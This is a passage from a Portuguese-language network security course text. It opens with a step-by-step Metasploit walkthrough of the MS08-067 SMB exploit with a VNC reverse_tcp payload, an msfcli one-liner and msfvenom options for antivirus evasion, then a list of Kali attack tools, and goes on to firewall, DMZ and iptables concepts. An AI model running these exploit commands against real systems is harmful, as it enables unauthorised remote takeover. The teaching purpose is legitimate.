vulnerabilidade em questão e, em caso de sucesso, obter acesso remoto privilegiado.

Veja que o Metasploit efetivamente realiza um ataque ao servidor remoto, de modo que não
deve ser usado em servidores que não estejam sob a administração ou controle do usuário
da ferramenta.

35
Usando Metasploit em modo console

O mfsconsole é o Metasploit em modo console e uma forma mais flexível de se utilizar o


framework. Para iniciar o Metasploit, digite no shell:

# msfconsole

Serão apresentados os cursos:

msf >

Inicialmente, dentro do console do Metasploit, podemos verificar quais exploits temos à


disposição com o comando:

msf >show exploits

Neste ponto, devemos informar o tipo de exploit que usaremos com o comando use:

msf > use windows/smb/ms08_067_netapi


msf wins_ms08_067_netapi >

Dentro do exploit, podemos ver seus atributos exigidos com o comando show options:

sf wins_ms08_067_netapi > show options


Name Current Setting Required Description
-------- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER)
Explot Target:

Neste caso, o exploit aceita as opções de Remote Host, Remote port e SMBPIPE.
Para configurar essas opções, utilize o comando set:

msf wins_ms08_067_netapi > set RHOST 200.126.35.34


RHOST -> 200.130.26.34
msf wins_ms08_067_netapi > set RPORT 445
RPORT -> 445

O próximo passo é configurar o payload, que nada mais é do que uma parte do software que
permite o controle do sistema-alvo após ser explorado. Nesse caso o exploit transporta o
payload para ser utilizado quando a falha do sistema é explorada.

Um dos payloads mais utilizados é o meterpreter. Com ele podemos ativar coisas
interessantes no computador remoto, como, por exemplo, fazer upload e download de
arquivos, tirar screenshots e recolher hashes de senhas. Pode-se até mesmo controlar a
Segurança de Redes e Sistemas

tela, usando mouse e teclado para usar completamente o computador.

Com o comando show payloads verificamos os payloads suportados pelo exploit selecionado:

msf wins_ms08_067_netapi > show payloads

O payload selecionado para este exemplo é “vnc inject reverse tcp”:

msf wins_ms08_067_netapi > set PAYLOAD windows/vncinject/reverse_tcp


payload -> windows/vncinject/reverse_tcp
msf wins_ms08_067_netapi >

36
Com o comando show targets podemos visualizar quais sistemas operacionais são
vulneráveis a esse exploit:

msf wins_ms08_067_netapi > show targets


Supported Exploit Targets
=========================
Windows XP SP3 Portuguese - Brasilian (NX)
msf wins_ms04_045 >

Neste caso podemos verificar que os sistemas operacionais Windows XP SP2 e SP3 de
diversos idiomas são vulneráveis a esse exploit:

msf wins_ms08_067_netapi > set TARGET 56


TARGET -> 56
msf wins_ms08_067_netapi >

Pronto para finalizar:

msf wins_ms08_067_netapi > exploit

Neste momento o exploit entrará em execução no IP alvo informado anteriormente. Se a vulne-


rabilidade estiver aberta, será apresentada uma resposta informando que a operação obteve
sucesso. Esse ataque pode ser automatizado dentro do metasploit com o comando msfcli.

No caso desse ataque, poderíamos automatizá-lo com a seguinte linha de comando:

[root]#./msfcli wins_ms08_067_netapi RHOST=200.130.26.34 RPORT=445


PAYLOAD=windows/vncinject/reverse_tcp TARGET=56 E

Msfvenom
O Msfvenom é uma combinação dos programas Msfpayload e Msfencode (depreciados
em junho de 2015). Ele pode ser usado para combinar as tarefas de geração de payload e
sua codificação.

Através do Msfvenom, podemos criar um shellcode (código malicioso de pequeno


porte geralmente utilizado para obter acesso a uma linha de comando – ou shell – na
máquina-alvo) específico, podendo customizar opções como:

11 -p ou --payload: especificar o payload utilizado, como um shell direto ou reverso. Capítulo 2 - Explorando vulnerabilidades em redes

11 -f ou --format: especificar o formato de saída do shellcode, por exemplo, asp, dll, elf
(executável para Linux), exe (executável para Windows), msi, osx-app (aplicativo gráfico
para MacOS), psh, vba, war, bash, java, perl, python, ruby, entre diversos outros.

11 -e ou --encoder: escolher o codificador usado no shellcode, um método muito utilizado


para efetuar evasão de ferramentas antivírus ou evitar caracteres “problemáticos” em
um formato de saída.

11 -a ou ¬--arch: escolher a arquitetura-alvo do shellcode, geralmente x64 ou x86.

11 -p ou --platform: escolher a plataforma-alvo do shellcode, por exemplo, Windows, Linux,


MacOS, FreeBSD, OpenBSD, Cisco, Android, entre vários outros.

37
Kali Linux
O Kali Linux é um Sistema Operacional Linux voltado para a área de segurança, principal-
mente para testes de penetração. É uma distribuição muito difundida pelos profissionais
de segurança, não necessita de instalação física na máquina e pode rodar diretamente do
CD. Contando com mais de 300 ferramentas diferentes, entre elas o próprio Metasploit,
é considerada a ferramenta mais completa do mercado para testes de segurança e pene-
tração baseada em software livre.

As ferramentas de ataque do Kali Linux podem ser acessadas pelo menu Applications >
Kali Linux. São divididas em 10 categorias diferentes, como veremos a seguir.

Information Gathering
Ferramentas para obter informações sobre redes, aplicações web, análise de banco de
dados e análise de redes wireless. Exemplos:

11 Dnsdict6: utilitário usado para enumerar um domínio para entradas DNS IPv6.

11 Dnsmap: utilitário usado para criar listas de hosts de registros DNS para um domínio.

Vulnerability Assessment
Ferramentas para avaliação de vulnerabilidades em redes, aplicações web e bancos de
dados, tais como scanners. Exemplos:

11 OpenVAS: estrutura de vários serviços e ferramentas que oferecem uma abrangente e


poderosa solução de varredura de vulnerabilidades.

11 Mantra: coleção de ferramentas de código livre integrado a um navegador web.

Exploitation Tools
Ferramentas para exploração de vulnerabilidades em redes, sistemas web, banco de dados,
sistemas wireless e ferramentas de engenharia social. Exemplos:

11 Metasploit Framework: framework utilizado para explorar vulnerabilidades em


sistemas computacionais.

11 Air Crack: ferramenta utilizada para descobrir chaves WEP e WPA em sistemas Wireless.

Privilege Escalation
Ferramentas para elevação de privilégios, como ferramentas de ataque para quebra de
senhas, ferramentas para análise de protocolos (em especial protocolos de rede e VoIP) e
ferramentas de Spoofing Attacks. Exemplos:

11 hexinject: capaz de capturar pacotes em uma rede para obtenção de informações e


injeção de pacotes modificados.
Segurança de Redes e Sistemas

11 Medusa e Hydra: ferramentas para ataques de força bruta em logins.

11 Hashcat e John the riper: programa para recuperação de senhas.

38
Maintaining Acces
Uma vez dentro de uma rede, um atacante necessita manter seu acesso sempre disponível
para garantir o seu retorno de forma segura (sem ser detectado). Esse conjunto de pro-
gramas possibilita, por exemplo, a criação de backdoors, ferramentas de tunelamento de
conexões e ferramentas de backdoor via web. Exemplos:

11 cymothoa – ferramenta capaz de injetar shellcode backdoor em um processo existente.

11 Stunnel4 – túnel criptográfico SSL para interligação cliente/servidor.

11 Weevely – script em python para gerar uma backdoor PHP criptografada.

Reverse Engineering
Ferramentas de engenharia reversa com destaque para o programa strace, que monitora
chamadas de sistema (system calls) e os sinais recebidos pela aplicação. Exemplos:

11 ollydbg – depurador de análise assembler com ênfase em código binário.

11 Strace – utilitário de depuração para Linux que pode imprimir uma lista de chamadas de
sistemas feitas pelo programa.

RFID Tools
Ferramentas RFID para obtenção de informações em equipamentos identificadores de Radio
Frequência (Radio-Frequency Identification). Exemplos:

Brute Force hitag2 – programa de força bruta capaz de capturar dados em etiquetas RFID
padrão HITAG.

Brute Force MIFARE – programa de força bruta capaz de capturar dados em dispositivos de
acesso por proximidade e cartões inteligentes.

Stress Testing
Programas especialistas em testes de estresse em redes de computadores e sistemas VOIP. Essas
ferramentas são capazes de criar verdadeiras inundações de pacotes em uma rede. Exemplos:

11 Hping – programa para a criação de pacotes TCP/IP, pode ser utilizado com ICMP, TCP e
UDP, e é amplamente utilizado para ataques do tipo negação de serviço.

11 Letdown – outra ferramenta muito eficiente para ataques DoS.

11 rtpflood – programa para inundar telefones ips com pacotes UDP contendo dados RTP. Capítulo 2 - Explorando vulnerabilidades em redes

11 IAXflood – ferramenta para criar inundação de pacotes utilizada em redes com protocolo
IAX, que é usado pelo PABX asterisk.

Forensics
Ferramentas de perícia forense, tais como programas para detectar rootkits, obter infor-
mações sobre dados armazenados desde uma rede até a memória RAM do computador.
Exemplos:

11 Sleuthkit – capaz de analisar e recuperar informações em diversos tipos de partições.

11 Chkrootkit – utilitário capaz de varrer um computador atrás de programas rootkits instalados.

11 DFF (Digital Foresics Framework) – pacote de ferramentas open source modular que
inclui utilitários para recuperação de dados, pesquisa de provas e análises.

39
Reporting Tools
Ferramentas geradoras de relatórios sobre evidências e captura de dados feita por
programas de perícia forense. Exemplos:

11 Recordmydesktop – programa para capturar e filmar o desktop do usuário.

11 Dradis – utilitário de ajuda no processo de testes de penetração. Utiliza uma metodologia


de compartilhamento de informações minimizando oportunidades de perda de
informação e sobreposição de esforços.
Segurança de Redes e Sistemas

40
3
Firewall – Conceitos
e implementação
objetivos

Apresentar técnicas e tecnologias para proteção de perímetro em redes, compreender


as técnicas de proteção de perímetro, posicionar firewalls em uma rede e criar uma
zona desmilitarizada (DMZ) para prover serviços públicos.

conceitos
Topologias e tecnologias de firewall, proteção de perímetro em redes e zona
desmilitarizada (DMZ), entre outros.

Introdução
Um firewall pode ser definido como uma combinação de componentes (hardware, software
e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou
outras redes. É importante frisar que um firewall não corresponde a uma “caixa preta”, que
ligada a uma rede provê segurança instantânea. Para ter um firewall eficiente, é preciso que
ele seja configurado corretamente, possua bons recursos implementados e esteja correta-
mente posicionado na rede em questão. Durante esta sessão e a próxima, esses conceitos
serão aprofundados.

Em linhas gerais, um firewall possui os seguintes objetivos:

11 Restringir a entrada de tráfego em um ponto único e controlado.

11 Impedir que atacantes consigam chegar em suas defesas mais internas.


Capítulo 3 - Firewall – Conceitos
e implementação
11 Restringir a saída de tráfego em um ponto único e controlado.

No item seguinte, veremos algumas vulnerabilidades comuns encontradas em redes. Essas


vulnerabilidades podem ou não ser mitigadas por um firewall, dependendo dos seus recursos.

Exercício de nivelamento 1 e
Firewall
O que você entende por firewall?

41
Como um firewall pode ser eficiente?

Firewall
Um firewall consiste em uma técnica de segurança de redes bastante efetiva. O seu nome
vem das portas corta-fogo (firewalls) utilizadas em edifícios para conter o fogo de um
possível incêndio, de modo que ele não se espalhe para o resto do prédio. Pode ser definido
como um componente ou conjunto de componentes que restringem acesso entre uma rede
protegida e a internet, ou entre outros conjuntos de redes.

Na prática, podemos pensar num firewall como uma forma de limitar a exposição da
sua rede à internet, mantendo suas funcionalidades para os usuários. O firewall serve a
múltiplos propósitos:

11 Restringir a entrada de tráfego em um ponto único e controlado.

11 Impedir que os atacantes consigam chegar em suas defesas mais internas.

11 Restringir a saída de tráfego em um ponto único e controlado.

Quando falamos de estratégias de segurança, a respeito de ponto único e defesa em


profundidade, não podemos considerar um firewall simplesmente como uma “caixa preta”
ou um “produto de prateleira”, apesar do que pregam os vendedores de produtos de
segurança. Um firewall deve ser visto como uma combinação de componentes
(hardware, software e redes) com o objetivo de proteger informações entre uma rede
privada e a internet ou outras redes.

Sendo assim, não adianta comprar um produto em uma loja e ligá-lo na rede. Um firewall,
para ser efetivo, necessita de planejamento e que seja definida uma topologia, onde ele
esteja no meio das conexões que se deseja proteger. Além da topologia, um firewall consiste
em uma série de tecnologias, como filtros de pacotes, NAT e servidores proxy. A seguir
vamos discutir em detalhes essas topologias e tecnologias.

Tecnologias de firewall
11 Filtros de pacotes.

11 Filtros de pacote dinâmicos.

11 Servidores proxy.

11 NAT.

Filtros de pacotes
Segurança de Redes e Sistemas

A funcionalidade mais básica que um firewall pode oferecer é chamada de filtro de pacotes,
mecanismo de segurança de rede que permite o controle dos dados que entram, saem ou
passam pelo ponto de proteção. Um filtro de pacote é capaz de decidir sobre a passagem ou
não de um pacote, de acordo com as informações encontradas no cabeçalho IP. Usualmente,
os filtros de pacotes agem sobre os seguintes campos de um pacote IP:

11 Endereço IP de origem (nível de rede).

11 Endereço IP de destino (nível de rede).

42
11 Porta de origem (nível de transporte).

11 Porta de destino (nível de transporte).

11 Flags do cabeçalho TCP (SYN e ACK).

Alguns filtros de pacotes mais avançados podem agir sobre outros campos do pacote, como
endereços físicos (MAC Address), outras flags (exemplo: RST), campos de fragmentação
de pacotes, entre outros. Na verdade, um filtro de pacotes pode usar qualquer campo
de qualquer um dos cabeçalhos do pacote. Usualmente, um filtro de pacotes não realiza
decisões com base no conteúdo (dados) dos pacotes, uma vez que analisar o conteúdo do
pacote pode ser dispendioso e tornar o processo de roteamento mais lento. Apesar disso,
existem ferramentas que usam esse recurso, como o l7filter. A sintaxe de comandos de
um filtro de pacotes depende da ferramenta utilizada; porém, em linhas gerais, a forma de
definir as regras é muito semelhante. Na sessão seguinte serão vistos alguns exemplos do
uso de ferramentas de filtros de pacotes.

Como exemplo, vamos imaginar que estamos querendo definir uma regra de filtragem que
irá bloquear todos os pacotes provenientes da estação A (endereço IP 192.168.1.1) para o
servidor B (endereço IP 192.168.1.2), na porta 110, utilizando o protocolo de transporte TCP.
Relembrando os conceitos de TCP/IP, quando iniciamos uma conexão TCP, o remetente
escolhe uma porta de origem que não esteja em uso, a partir da porta 1024. Sendo assim,
podemos definir a seguinte regra:

Descartar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024 e


PORTA_DESTINO = 143.

No caso, estamos usando uma sintaxe fictícia. Todos os pacotes que se enquadrem nessa
regra serão automaticamente descartados. Os filtros de pacotes normalmente definem
ainda uma ação padrão, caso não haja nenhuma regra indicando o que fazer com o pacote.
Essa ação padrão se refere à estratégia de segurança denominada Atitude de Bloqueio
Padrão e Permissão Padrão. Caso seja escolhida a atitude de bloqueio padrão, todos os
pacotes que não estiverem explicitamente permitidos por alguma regra serão bloqueados
e vice-versa. Lembre-se de que a atitude de bloqueio padrão é mais segura do que a de
permissão padrão.

Filtros de pacote dinâmicos


Considerando o exemplo anterior, imagine que agora necessitamos liberar o tráfego
com destino à porta 143 TCP do servidor. Nesse caso, não basta apenas trocar a palavra
DESCARTAR por ACEITAR. Em uma conexão TCP, temos uma série de pacotes, indo e Capítulo 3 - Firewall – Conceitos
e implementação
voltando do servidor. Sendo ainda mais minimalista (lembre-se da estratégia de menor
privilégio), temos de verificar se o pacote se refere ao início de uma conexão, a uma resposta
do servidor ou a uma conexão já estabelecida. Dessa forma, podemos mudar nosso
exemplo, que vai conter as seguintes regras para permitir todos os três pacotes referentes
ao three way handshake do protocolo TCP:

11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024,


PORTA_DESTINO = 143 e flag SYN ligada (início da conexão).

11 Aceitar se IP_ORIGEM=192.168.1.2, IP_DESTINO=192.168.1.1, PORTA_ORIGEM = 143,


PORTA_DESTINO >= 1024 e flags SYN e ACK ligadas (retorno do servidor).

11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024,


PORTA_DESTINO = 143 e flag ACK ligada.

43
A partir desse exemplo podemos perceber que em um ambiente mais complexo a quanti-
dade de regras aumentará bastante, tornando o ambiente complicado para gerenciar.
Do ponto de vista do administrador de segurança, na grande maioria dos casos, ele apenas
quer decidir se vai permitir ou bloquear uma determinada conexão. Pensando nisso, foram
criados os filtros de pacotes dinâmicos, também chamados de stateful inspection, stateful
firewall ou Stateful Packet Inspection (SPI). Nesse caso, o próprio filtro de pacotes mantém
informações sobre o estado das conexões e permite automaticamente todos os pacotes
relacionados, de modo que o administrador necessita apenas especificar a regra do pri-
meiro pacote e indicar que os pacotes relacionados serão automaticamente aceitos.

Alguns filtros de pacotes dinâmicos tratam ainda de protocolos de aplicação, cuja conexão
é mais complexa, como por exemplo FTP e H.323, cuja liberação utilizando os filtros de FTP
pacotes comuns se tornaria complicada e provavelmente iria aceitar muito mais pacotes do File Transfer Protocol
que o necessário, por conta do comportamento dinâmico desses protocolos. é um protocolo de
transferência de
Recentemente, alguns fabricantes têm anunciado firewalls UTM (Unified Threat Manager), arquivos na internet.
H.323
que são firewalls com diversos recursos integrados, também chamados de firewalls
Protocolo de
all-in-one (tudo em um). Esses produtos normalmente integram uma série de recursos,
transmissão de áudio e
como antivírus, anti-spam, VPN, filtros de conteúdo e balanceamento de carga, entre outros. vídeo na internet.

Servidores proxy
Servidores proxy são servidores que acessam algum serviço da internet em nome de uma
estação cliente, que solicita o acesso ao proxy. Um proxy pode atuar no nível de aplicação
(mais comum), onde para cada aplicação há um proxy diferente (exemplo: proxy HTTP, proxy
FTP, proxy H.323 etc.) ou no nível de transporte, onde há um proxy genérico para conexões
TCP e UDP (exemplo: Socks). Socks
Protocolo da internet
Os proxies de aplicação possuem a vantagem de entender o protocolo de aplicação, de que permite que
modo que eles são capazes de prover registros detalhados sobre os acessos realizados, aplicações cliente-
além de permitir o controle de acesso através de parâmetros de aplicação, como bloquear servidor usem de forma
transparente o serviço
o acesso a arquivos executáveis em conexões HTTP, controle impossível de ser realizado de uma rede ao firewall.
apenas com filtros de pacotes. Por outro lado, a aplicação em questão deve estar ciente O termo Socks vem da
da existência do Proxy para realizar o acesso normalmente através de um parâmetro de abreviação de sockets.

configuração, o que pode aumentar a complexidade da configuração. Outra questão a ser


considerada é que o servidor deve ser dimensionado adequadamente para comportar as
requisições dos clientes, de modo a não causar atrasos nas conexões.

O diagrama a seguir mostra uma típica conexão utilizando um proxy de aplicação.

Cliente A Proxy HTTP Servidor B


Segurança de Redes e Sistemas

Cliente solicita ao Proxy entrega


Proxy acesso a recurso ao cliente A
recurso do servidor B Proxy solicita e Figura 3.1
obtém recurso Conexão com proxy
do servidor B de aplicação.

Uma vez configurado corretamente, o usuário não percebe mais a existência do Proxy de
aplicação, de modo que tem a impressão de que as requisições são feitas diretamente ao
servidor. O Proxy, por outro lado, possui conhecimento detalhado sobre os recursos que
estão sendo solicitados pelo cliente.

44
NAT
Network Address Translation (NAT) é um recurso que permite a modificação de um
endereço de rede em um pacote IP durante o seu trânsito em um dispositivo de roteamento.
O NAT pode ser utilizado em uma variedade de situações, sendo as mais comuns a
“publicação” de um servidor na internet e o acesso de uma rede privativa à internet.

Existem tipos diferentes de NAT, com utilidades diferentes. Inicialmente veremos os tipos de
NAT existentes e a seguir conheceremos as suas aplicações. O NAT é definido em uma série
RFC de RFCs:
Request For Comments
11 RFC 1631: The IP Network Address Translator (NAT).
é um documento que
descreve os padrões 11 RFC 2663: IP Network Address Translator (NAT) Terminology and Considerations.
de cada protocolo
proposto para a 11 RFC 2766: Network Address Translation – Protocol Translation (NAT-PT).
internet, antes de ser
considerado um padrão. As terminologias variam de acordo com o fabricante que implementa a tecnologia, porém os
princípios são os mesmos.

11 SNAT – Source NAT modifica o endereço IP de origem de um pacote, utilizado normalmente


para permitir que estações em redes privativas possam acessar a internet diretamente,
através da modificação do endereço privativo para um endereço válido na internet.

11 DNAT – Destination NAT modifica o endereço IP de destino de um pacote, utilizado


normalmente para permitir que servidores em redes privativas possam ser acessados
através da internet.

11 NAT estático – utiliza um endereço IP diferente para cada endereço que necessita ser
traduzido. Também chamado de NAT um-para-um (1-1).

11 NAT dinâmico – traduz diversos endereços IP para um único endereço traduzido.


Também chamado de NAT N-para-1 (N-1). Esse tipo de NAT permite que uma rede inteira
acesse a internet utilizando um único endereço válido, e muitas vezes é chamado de
masquerading. Ele é usado por empresas que possuem poucos endereços IP. Durante as
atividades práticas da sessão 3, serão vistos em mais detalhes os diferentes tipos de NAT
e sua implementação.

Exercício de fixação 1 e
Filtros de pacotes
Explique o que são filtros de pacotes dinâmicos.

Capítulo 3 - Firewall – Conceitos


e implementação

Exercício de fixação 2 e
Servidores proxy
O que são servidores proxy?

45
Topologias de firewall
Não existe uma fórmula para se planejar um firewall, pois isso vai depender das particulari-
dades de cada rede e da experiência do profissional encarregado. Porém, existem algumas
arquiteturas que podem servir de base para a construção de uma solução completa. Nos
itens a seguir veremos algumas dessas arquiteturas básicas.

Dual-Homed
Essa é a topologia mais simples, que consiste em apenas uma máquina conectada tanto à
rede pública quanto à rede protegida, porém com a função de roteamento desabilitada.
Dessa forma, para a rede protegida acessar a rede pública, ela necessitará utilizar algum
recurso presente na máquina em questão, como um Proxy ou NAT. A figura 3.2 mostra uma
topologia dual-homed.

Screened Host
Nessa arquitetura, a rede interna está conectada à internet (rede pública) através de
um roteador com o recurso de filtros de pacotes. Esse é chamado de screening router.
Os serviços são providos através de uma máquina da rede interna, chamada de bastion
host (ou bastião). O bastião é a única máquina com acesso à internet, garantido através
da configuração de filtros de pacotes no roteador. Dessa forma, as outras estações não
possuem acesso direto, devendo utilizar os serviços disponíveis no bastion (proxies).

Exemplos de configuração dos filtros de pacotes:

11 Permitir que o bastião acesse a internet, utilizando os serviços permitidos pela política de
segurança da organização.

11 Permitir que as estações da rede interna acessem o bastião, utilizando os serviços


permitidos. Lembre-se de que o bastião necessita de um endereço IP válido para acessar
a internet ou que o roteador realize NAT para permitir esse acesso. Dessa forma, apesar
de estarem na mesma rede física, as estações necessitam acessar o roteador para
alcançar o bastião, visto que ele se encontra em outra rede lógica.

11 Negar conexões das estações da rede interna para a internet.

Internet

Roteador
de filtragem
Segurança de Redes e Sistemas

Figura 3.2
Estação Bastion Host Estação Estação Topologia
dual-homed.

Note que o firewall corresponde nesse caso ao conjunto composto pelo bastion host e o
screening router.

46
Screened Subnet
Essa arquitetura adiciona uma camada extra de segurança em relação à anterior, através de
DMZ uma rede extra chamada de perímetro ou Zona Desmilitarizada (DMZ). Essa rede cria um
DeMilitarized Zone é a isolamento entre a rede interna e a internet. A vantagem principal é que os bastion hosts
parte da rede onde o ficam em uma rede isolada, de forma que defesas extras podem ser aplicadas para impedir
nível de segurança é um
pouco menor e onde se que um bastion host comprometido tenha acesso à rede interna, aplicando o conceito de
concentram os serviços defesa em profundidade.
públicos.
A rede DMZ fica protegida por dois roteadores, um externo ligado à internet e um
interno ligado à rede interna. Esses roteadores devem ser configurados corretamente
para permitir apenas as conexões estritamente necessárias. Os bastion hosts con-
tinuam a ser o contato com a rede pública e possuem serviços para a rede interna,
como proxies e serviços públicos como correio eletrônico e páginas www públicas.

Internet

Roteador
Bastion externo

DMZ

Roteador
interno
Figura 3.3
Rede DMZ
protegida por dois Rede interna
roteadores.

Variações
Algumas variações podem ser feitas em relação às topologias apresentadas. A seguir
algumas variações comuns:

11 Múltiplos bastion hosts: caso diversos serviços estejam sendo oferecidos ou haja uma
Capítulo 3 - Firewall – Conceitos
e implementação

razão para ter serviços divididos em diferentes servidores (redundância), pode-se colocar
mais de uma máquina na rede DMZ. Lembre-se de configurar as regras de filtragem de
acordo com os roteadores.

11 Junção dos roteadores internos e externos: essa é uma variação muito comum, visto
que a junção dos roteadores reduz custos. Lembre-se de que nesse caso o comprometi-
mento do roteador compromete a arquitetura inteira.

11 Junção do bastion host com o roteador externo: não é muito comum, pois
normalmente a conexão à internet requer um hardware específico por conta dos
requisitos das operadoras de telecomunicação (seriais síncronas, fibras ópticas etc.),
mas pode ser adotado sem problemas. Não é recomendada a junção com o roteador
interno, uma vez que, caso o bastião seja comprometido, a rede interna estará exposta.

47
11 Múltiplos perímetros: outra variação comum ao se referir a uma DMZ ou a uma
extranet, rede usada para conectar outras redes externas.

11 Firewalls internos: usados para separar redes com maior requisito de segurança ou
conexões que necessitem de um nível de proteção maior.

Montando uma topologia complexa


É importante que se tenha em mente que não existe solução perfeita ou ideal quando se
fala em construir um firewall. Uma topologia de segurança de perímetro depende muito da
rede em questão, suas subdivisões, conexões com outras redes, níveis de segurança, cone-
xões à internet e outras questões. A figura mostra um exemplo de topologia mais complexa.

Internet

Roteador
Bastion Extranet
externo

DMZ

Roteador
Bastion
interno 1

Roteador
Rede interna Rede segura
interno 2

Durante as atividades práticas será exercitada a construção de topologias de firewall. Figura 3.4
Exemplo de

Exercício de fixação 3 e
topologia complexa.

Topologias de firewall
Quais são as arquiteturas de firewall?

Exercício de fixação 4 e
Screened Subnet
Segurança de Redes e Sistemas

Explique o que é DMZ. Sua organização possui DMZ?

48
Implementação de firewalls
Existem diversas soluções desenvolvidas sob o critério de licença de software livre que
implementam o controle de acesso perimetral em redes TCP-IP. Soluções mais comuns:
Netfilter (Ip-tables), para Linux; Ipfilter (IPF) e IP Firewall (IPFW), para FreeBSD; Packet Filter
(PF), para OpenBSD, e FreeBSD.

Ao final desta sessão o aluno terá um resumo das principais características de cada uma
das implementações, realizando atividades práticas de implantação de controle perimetral.
Assim estará apto a configurar ferramentas de filtragem de pacotes, proxy HTTP e NAT.

Netfilter (Iptables)
O Iptables é um framework capaz de realizar filtros de pacotes, tradução de endereços de
rede e tradução de número de portas TCP e UDP, além de outros tipos de manipulação de
pacotes TCP/IP.

Ele foi desenvolvido para trabalhar integrado com o Linux kernel 2.4 e 2.6. Surgiu da
reescrita e evolução dos códigos do Ipfwadm para o Linux kernel 2.0 e do Ipchains para o
Linux kernel 2.2. Uma virtude do Netfilter é suportar módulos, permitindo implementações,
das mais simples às mais sofisticadas.

O objetivo deste curso não é o de esgotar as características do Netfilter, mas sim orientar o
aluno no entendimento de um sistema de firewall, para um possível aprofundamento futuro.

Principais características:

11 Stateless packet filtering (IPv4 e IPv6).

11 Stateful packet filtering (IPv4 e IPv6).

11 Tradução de endereço e portas (IPv4).

11 Desenvolvido para ser flexível e extensível.

API 11 API de várias camadas para implementação de complementos de terceiros.


Conjunto de rotinas e 11 Grande número de softwares adicionais (plugins) e módulos mantidos no repositório
padrões estabelecidos
por um software para do Netfilter.
a utilização de suas Antes de entrar nos comandos de configuração do Iptables, é importante conhecer alguns
funcionalidades por
programas aplicativos conceitos importantes envolvidos:
que não precisam
envolver-se nos deta- 11 Stateless é uma técnica de controle simples baseada apenas na verificação de cabeçalhos
Capítulo 3 - Firewall – Conceitos
e implementação
lhes da implementação dos pacotes TCP/IP, não observando o estado da conexão (Three Way Handshake).
do software. Atualmente, o Iptables suporta verificação de pacotes TCP/IP versões 4 e 6.

11 Statefull é uma técnica de controle de pacotes TCP/IP baseada no estado da conexão,


mantendo tabelas com o estado das conexões e criando regras automáticas, quando
necessário, para a volta dos pacotes. Também suporta atualmente controle de pacotes
IPv4 e IPv6. Corresponde ao stateful inspection, descrito na sessão 2.

11 Tradução de endereços IP e portas TCP ou UDP são técnicas implementadas pelo Netfilter
que visam atender à RFC 1918. O Netfilter denomina de NAT a tradução de endereço IP
e de NAPT a tradução de portas TCP e UDP, sendo até o momento suportado apenas no
protocolo IPv4.

49
Implementação do Netfilter
A sintaxe do Netfilter pode parecer confusa no início. O objetivo da linguagem é permitir
implementações robustas. O Netfilter permite a manipulação desde as regras mais simples
até as mais complexas, onde é possível reduzir o volume do arquivo de configuração e
facilitar o entendimento dos objetivos do(s) filtro(s).

Para compreender a sintaxe do Netfilter, precisamos inicialmente conhecer o significado dos


termos e expressões de manipulação de pacotes:

11 Drop/Deny: quando um pacote sofre Drop ou Deny, é descartado e nenhuma outra ação
é realizada; o pacote simplesmente desaparece.

11 Reject: quando um pacote sofre a ação Reject, é descartado e uma mensagem é enviada
para o host origem informando seu descarte.

11 Accept: ação contrária ao Drop ou Reject, indica ao Iptables para aceitar e encaminhar
o pacote.

11 State: estado específico de um pacote em uma conexão TCP/IP. Por exemplo: o primeiro
pacote de uma conexão TCP é o pacote com a opção SYN ligada. O estado da conexão é
conhecido através do sistema de rastreamento de conexões, que mantém uma base de
dados com o estado de todas as conexões. Essa base fica em uma área dentro do kernel Kernel
do Linux, sendo controlada automaticamente por ele. Componente central
do Sistema Opera-
11 Chain: cadeia de conjuntos de regras que são aplicadas em momentos distintos no kernel cional responsável por
do Linux. As três principais chains são INPUT, OUTPUT e FORWARD: fornecer os recursos
computacionais disponi-
22 INPUT: utilizada quando os pacotes têm como endereço IP de destino o próprio bilizados pelo hardware
endereço do firewall. aos aplicativos.

22 OUTPUT: utilizada quando o pacote é originado pelo firewall e sai por alguma interface
de rede.

22 FORWARD: utilizada quando um pacote atravessa o firewall, não tendo como destino
o próprio firewall. Daqui podemos verificar que as chains INPUT e OUTPUT protegem o
próprio firewall, e a chain FORWARD protege o que estiver atrás dele.

11 Table: o Iptables possui quatro tabelas, cada uma com propósitos específicos:

22 Nat: utilizada para manipulação de tradução de endereços IP. Os pacotes podem ter
os endereços de origem, destino, porta de origem e de destino alterados de acordo
com o especificado na regra. Para a tradução de pacotes é necessário especificar
apenas a tradução do pacote inicial da conexão, de modo que todos os pacotes
seguintes pertencentes a essa conexão serão automaticamente traduzidos.

22 Mangle: utilizada principalmente para manipulação de pacotes IP. É possível mani-


pular o conteúdo de diferentes pacotes e seus cabeçalhos, como os campos QoS e
TTL, entre outros.
Segurança de Redes e Sistemas

22 Filter: utilizada exclusivamente para filtros de pacotes, de forma a realizar DROP, LOG,
ACCEPT e REJECT de pacotes TCP/IP, conforme foi visto.

22 Raw: utilizada quando desejamos filtrar um pacote, mas não queremos monitorar o
estado da conexão. Dessa forma, estamos fazendo um filtro de pacotes simples.

11 Match: termo utilizado quando um pacote “encaixa” em uma determinada regra; dizemos
que o pacote “deu match” em uma determinada regra do Iptables.

11 Target: termo utilizado para informar o que será feito com os pacotes que “derem match”
em determinada regra; o target pode ser Accept, Drop, Reject etc.

50
11 Rule: uma regra é definida como um match ou conjunto de matches de pacotes com um
único target.

11 Ruleset: conjunto de regras (rules) de todo o firewall, normalmente agrupado em um


arquivo de configuração, para inicialização do Iptables.

11 Jump: instrução ligada ao target. Se um pacote “der match” em uma instrução de jump,
será analisado por um conjunto de regras extras, definidas no próprio jump. A sintaxe é
similar à de target (jump em vez de target).

11 Connection tracking: característica do firewall de analisar o estado da conexão e


manter em uma base de dados interna. Assim, o firewall é capaz de saber a qual conexão
pertence um pacote, aumentando de forma drástica a segurança do sistema de firewall,
já que pacotes que não fazem parte de conexões legítimas são automaticamente
descartados. Essa característica tem um custo computacional elevado para o firewall, o
que também ocorre com o Iptables, gerando a necessidade de mais recursos de CPU e
memória do sistema.

11 Policy: política padrão de funcionamento do firewall, conforme descrito na sessão 2


(default permit e default deny). Em se tratando de Iptables, podemos definir a policy
como ACCEPT ou DROP, de acordo com a ação padrão que será dada a um pacote que
não “der match” em nenhuma regra específica.

Modo de operação do Netfilter


Figura 3.5
rocesso de decisão O Netfilter interage com o kernel do Linux baseado na decisão de encaminhamento de
